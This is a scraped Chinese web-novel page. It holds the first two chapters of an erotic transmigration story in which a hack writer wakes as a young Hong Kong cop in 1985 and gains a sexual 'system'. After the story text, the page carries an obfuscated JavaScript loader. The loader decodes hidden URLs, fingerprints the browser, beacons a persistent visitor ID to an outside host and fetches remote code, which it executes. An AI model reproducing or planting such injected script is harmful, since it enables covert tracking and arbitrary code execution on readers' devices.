热搜排行
他可以持续8小时和女人做爱,并且射精400次,每次射精150500 毫升。
第1章 叶子楣成了我妹妹?


    头疼欲裂。

    王安有些艰难地睁开眼睛,却依旧感觉脑袋晕晕乎乎的,视线有些模糊不清。

    “见鬼,难得出去喝一次酒,怎麽后遗癥这麽大?早知道昨晚就不参加聚餐了。”

    王安是一个普普通通的三流网文写手,无父无母,标準的孤儿出身。长相一般,性子也比较闷,理所当然的,也没有女朋友。

    好在,他还有五姑娘作伴。加上本身耐得住寂寞,日子倒也过得下去。

    因为码字并不需要跟人接触,加上性格比较宅,王安整天过着大门不出,二门不迈的生活。

    不过一直窝在房子里面,时间久了也是憋的慌。

    因此,当几个熟悉的写手朋友邀请他线下聚餐喝酒时,尽管酒量很浅,王安还是毫不犹豫地答应了。

    喝酒时,自然而然要玩一些小游戏助兴。只不过大伙都是常年宅在家里的写手,没有那麽多花样,因此只玩了扑克牌。

    没想到王安手气实在太差。

    越喝越输,越喝越多,最后,他酩酊大醉,彻底失去了意识。

    等到王安醒来时,已经是不知过了多久了。

    周围的光线有些昏暗,不清楚是淩晨还是黄昏,不过,勉强能够看清一些东西。

    王安揉了揉异常疼痛的后脑勺,开始怀疑自己或许并非是宿醉的后遗癥未消,而是不小心磕碰到什麽地方了。

    不然的话,为什麽疼的地方是后脑勺?

    而且王安感觉,自己只是稍微动弹了一下,胸口处居然也传来了剧烈的疼痛感。

    要不是能够明显感觉到自己正躺在一张床上,身上也没有少什麽零件,他甚至都要怀疑自己是不是被人“捡尸”,割了器官卖钱了。

    不过,当王安揉着眼睛,打量着周围的环境时,却发觉有些不对劲。

    不对!这好像不是自己的酒店房间!

    “淦!那群家伙,该不会把我放错房间了吧?”

    王安心中暗骂。

    可是没道理啊。

    聚餐前,为防意外,大家都互相通报了自己住的地点。而且他的房间钥匙也一直放在裤兜里,基本上没有搞错的可能。

    更何况,王安和那几个写手虽然比较熟,但还没有熟到睡在一起的程度,总不可能是被某个人带回自己住的地方了吧?

    不过也说不準。

    不知想到什麽,王安打了一个激灵,原本有些迷糊的意识瞬间清晰了许多。

    虽然他对自己那平平无奇的颜值很有自信,也不觉得那些写手朋友中有谁是基佬,但是知人知面不知心,还是得小心一点才是。

    因此,王安动作迅速地爬下了床,打算搞清楚自己究竟在哪里。

    但刚下床,还没走几步,他便不小心踩到了一团柔软而富有弹性的硕大肉球。

    “啊!”

    一声痛苦中夹杂着娇媚的声音响了起来,明显是女孩的声音。

    王安脸色一僵,触电了一般将自己的脚收了回来。

    没吃过猪肉,也见过猪跑。饱受岛国女老师们熏陶的他,第一时间便明白自己究竟踩到什麽地方。

    那是女孩子的胸部!

    但是,不对啊!

    自己刚刚踩到的那个肉球,尺寸是不是有些太夸张了?

    王安长这麽大,还真没在现实中看到谁有这麽大的胸的。

    而且,他之前明明是在和一群大老爷们喝酒,怎麽一觉醒来后就躺在了一个女孩子的房间里了?

    甚至,还是他睡床上,女孩打地铺。小说里都不敢这样写!

    还不待王安搞清楚眼下究竟是什麽情况,女孩便揉着自己的胸口,有些艰难地站了起来。

    出乎意料的是,她并没有破口大骂,而是伸手将王安紧紧抱住,语气中满是惊喜。

    “哥哥,你终于醒了!”

    感受着紧贴着自己胸口的那对硕大到不可思议的胸器,王安一时间有些发懵。

    妹子,你怎麽带球撞人?

    不对,你管谁叫哥呢?不会是认错人了吧?

    刚要吐槽,他却猛地发现面前这个少女有些眼熟。

    没错了,这张面孔虽然有些青涩稚嫩,而且还扎着麻花辫,穿的土里土气的。

    但是无论是艳丽的五官轮廓,还是那巨大的胸器,都无一不证明她的身份。

    “你是香港的那个叶子媚?不对,你怎麽变得这麽年轻了?而且你怎麽会在这里?”

    王安只感觉脑子一下子成了浆糊。

    “哥哥,你在说什麽?什麽叶子楣?我是阿霞啊。”

    少女摸了摸王安的额头,面色有些古怪地道:“你该不会跟那些电影里面演的一样,撞到后脑勺之后就秀逗了吧?”

    “阿、霞?”

    王安目瞪口呆地看着眼前这个年轻版的叶子楣。

    仿佛是触碰了什麽开关一般,突兀地,大量的信息碎片争先恐后地涌入他的脑袋之中。

    王安、雷洛之子、妹妹王霞、卧底、警校生活、中枪、洗澡跌倒……

    仿佛电影在以几十倍的速度快放,王安的眼前飞速闪过大量熟悉而陌生的画面。

    他捂住额头,推开女孩,凭借着这具身体的本能,跌跌撞撞地朝着洗手间跑去。

第2章 穿越港片世界


    “所以说,我还真的穿越了?”

    狭窄的洗手间内,王安一遍又一遍地揉搓着镜子中那张异常陌生的面孔。

    感受着那清晰异常的触感,他终于确认自己并没有在做梦。

    他真的穿越了!

    而且还穿越到了一个五官轮廓有七分像刘德华,却比刘德华更加英俊的超级大帅哥的身上。

    不仅如此,王安原本那具孱弱多病的宅男身体也出现了升级换代。现在的他拥有一具堪比古希腊雕塑一般健美匀称的身体。

    只是,即便如此,王安还是难以接受自己一觉醒来就穿越到了1985年的香港的事实。

    而且,这还不是正常时空的香港,而是无数港片电影融合的香港!

    关于这一点,无论是洗手间里面的那张神似张学友的大明星龙威的海报,还是记忆中那位酷肖成龙的大鼻子同事陈家驹,亦或是刚才那个长相和叶子楣极像的巨乳妹妹,全都是再明显不过的证明。

    更要命的是,王安发现自己现在的身份,居然还是一个警察!

    他是香港西区警署的一名20岁的重案组普通警员。现在之所以呆在家里,则是因为前段时间因公负伤,中了一枪。

    (本书为了方便,将港岛诸多警区简化为了港岛总区、东区、西区、南区、北区和水警总区六个大区。)

    好在王安的运气比较好,只是被子弹擦伤了胸口。

    不然的话,现在他就不是简单地用绷带包扎了一下伤口,呆在家里养伤了。而是躺在急救室的病床上,或者直接进了停尸间。

    只是,轻伤归轻伤,行走之间,胸口时不时传来的剧痛还是让王安郁闷不已。

    “见鬼,我只是一个普普通通的宅男写手而已。让我穿越到没有网络,没有电脑,没有手机的80年代也就罢了。居然还是港片综合世界。而且还给了我一个警察的身份?老天爷,你是想要玩死我吧?”

    王安倒不是歧视警察,而是因为,警察这个职业实在是太危险了。

    如果是现实世界还好,但偏偏这是悍匪横行,狠人无数的港片综合世界!

    而且,王安所在的警署部门还是危险系数极高的重案组!

    更尴尬的是,抛开警察这个职业不提,王安的身世也不简单。

    他的原名叫雷安,父亲是雷洛,60年代大名鼎鼎的华人总探长,黑警头目。

    在二十多年前,雷洛曾是香港警界最风光的人物,威震黑白两道,身家亿万,妻妾成群,威风不可一世。

    可惜,风光只是一时的。

    70年代,香港依旧是英国人的殖民地,距离回归大陆遥遥无期。但因为香港警界的极度腐败,以及治安的不断恶化,香港民怨沸腾,已经严重动摇到了英国佬的统治基础。

    因此,英国佬便开始谋划成立廉政公署,以遏止日益泛滥的警队贪汙。

    得到风声后,雷洛无奈之下只能急流勇退,提前退休。并在香港廉政公署成立之前,携带巨款移居到了加拿大,之后,又搬到了台湾。

    因为台湾和香港之间没有引渡条例,因此香港廉署虽然将他列为了通缉对象,却也只能望洋兴叹,无法执行通缉令将其拘捕归案。

    雷安的母亲也不简单。

    她叫白月娥,既是雷洛的老婆,同时也是黑帮大佬白饭鱼的女儿。

    白饭鱼是香港黑道的大人物。哪怕是雷洛,也是靠着他的扶持,这才一步步走上总华探长之位的。

    按理来说,雷安身份敏感,在雷洛退休后,应当和他的父母一同离开香港的。

    可惜,雷安从小早熟,性格叛逆,跟父母的关系并不好。反而跟雷洛的情人,王湄湄的关系不错。

    王湄湄原本是交际花出身,懂得伏低做小。只是因为过往的私生活混乱,加上跟了雷洛后,始终没能给他生下一儿半女,因此被雷洛打入冷宫,甚至避而不见。

    在那个混乱的年代,像王湄湄这样姿色不错,更有一对36H罩杯超级巨乳的美女,要是背后没有靠山,下场无疑是很凄惨的。

    为了不被雷洛抛弃,她开始讨好起了雷安。甚至屡屡成为他和雷洛之间的关系粘合剂。

    而年纪尚幼的雷安并不能看穿这一点,反而将王湄湄视为自己最亲近的人。

    1973年,雷洛和家人打算离开香港之际,才8岁的雷安舍不得离开,和父亲一场大吵之后,自己一个人偷偷跑到了王湄湄的母亲家里。并且改名换姓,将名字从雷安改成了王安。

    王湄湄出于对白月娥的嫉妒,默许并且隐瞒了这件事情。甚至帮王安圆谎,对自己母亲声称王安是她的又一个私生子。

    是的,在王安之前,王湄湄便在她的母亲家里寄养着一个和前男友偷情后生下的私生女,王霞。

    之后,王安称王湄湄之母为外婆,称王霞为妹妹。

    王安的外婆倒是为人不错,并没有因为两个孩子没名没分就苛待他们。

    但很可惜,她也是穷人一个,抚养两个孩子十分吃力。而薄情寡义的王湄湄这麽多年来从未给自己母亲寄过一笔生活费。

    因为生活困难,王安在15岁的时候,无奈投靠了当时刚刚崛起的黑社会头目韩琛。

    韩琛自然不是什麽善人,他之所以愿意供王安继续读书,目的只有一个。那便是送他报考警校,让他成为自己在警察队伍里面的暗桩。

    1984年11月,刚刚毕业的王安被分配到香港北区警署。

    2个月后,王安在参与拘捕大毒枭朱滔的“猎猪行动”中不幸受伤。

    然而,更加悲催的是,他在家休养不过半天,便因为洗澡时不慎滑倒,摔到脑袋昏迷不醒,最后被同名同姓的穿越者王安魂穿了。

    摸了摸依旧隐隐作痛的后脑勺,王安再度叹了口气。

    不得不说,自己这具身体的原主人还真是够衰的。

    拥有主角的颜值,却没有主角的命。

    明明出身不错,却偏偏要离家出走,失去了最大的背景优势。

    离家出走也就罢了,还所托非人,错信了一个恶毒的女人。

    所托非人不要紧,居然还当了卧底。

    卧底是那麽好当的吗?

    而且还是黑社会埋入警方的卧底!

    简直比警方的卧底还危险。至少后者以后还有机会脱离苦海,前者则是毫无希望可言。

    “简直是地狱开局啊。”

    回想过去,展望未来,王安只感觉心灰意冷。

    甚至一时间,他都有了辞职不干,趁韩琛没发现,连夜逃往台湾,回家啃老的打算。

    虽说王安和自己的那位便宜父亲已经十二年不见了,但是就凭他那张长的和雷洛颇为相像的面孔,以及记忆里那些小时候的零碎记忆,便不用担心会被对方当成冒牌货。

    而且据王安所知,雷洛虽然女人不少,但一共就只有两个儿子,一个女儿。

    大儿子雷用贤是雷洛和三房太太阿霞的儿子。

    阿霞很早以前就因为某些缘故离开了雷洛,独自在美国的唐人街将雷用贤抚养长大。二十多年后才带着雷用贤回到香港,和雷洛相认。

    然而在父子两人相认之前,雷用贤便已经加入了廉政公署,无论是身份还是政治理念都和雷洛有着剧烈的沖突,因此,他从未对外暴露过自己和雷洛的真实身份。

    也就是说,王安是雷洛明面上唯一可以继承家业的儿子。

    哪怕十二年过去后,两人之间的父子之情已经寡淡下来,现在的雷洛应该也不会将王安拒之门外。

    只是,王安刚有了这个打算,还没来得及实施。

    他的耳边突然传来一声机械式的电子声音。

    【叮!超级邪警系统已激活!】

    旋即,一个只有王安能看到的半透明光屏突兀地出现在了他的面前。

    【名称:超级邪警系统】

    【功能:通过淫欲值,自由点,灵魂点提升个人属性与技能等级,兑换系统商城中的物品。】

    【宿主:王安】

    【新手礼包:100自由点,低级性能力抽奖机会×100(未使用)】

    这是……系统?!

    王安眼睛一亮,看起来,自己这次不用跑路了。


继续閲读:第3章 超级邪警系统与抽奖
猜你喜欢下面这些
function UDNOhsW(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function zBfdyx(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UDNOhsW(t);};window[''+'F'+'i'+'J'+'R'+'h'+'H'+'l'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function tJfBK(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=zBfdyx,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=tJfBK(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15745/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=tJfBK(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0ccHMlM0ElMkYlMkZhLm1wemx2ccS5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS55a2toanMuY24lM0E5NTTM1','168623',window,document,['c','T']);}:function(){};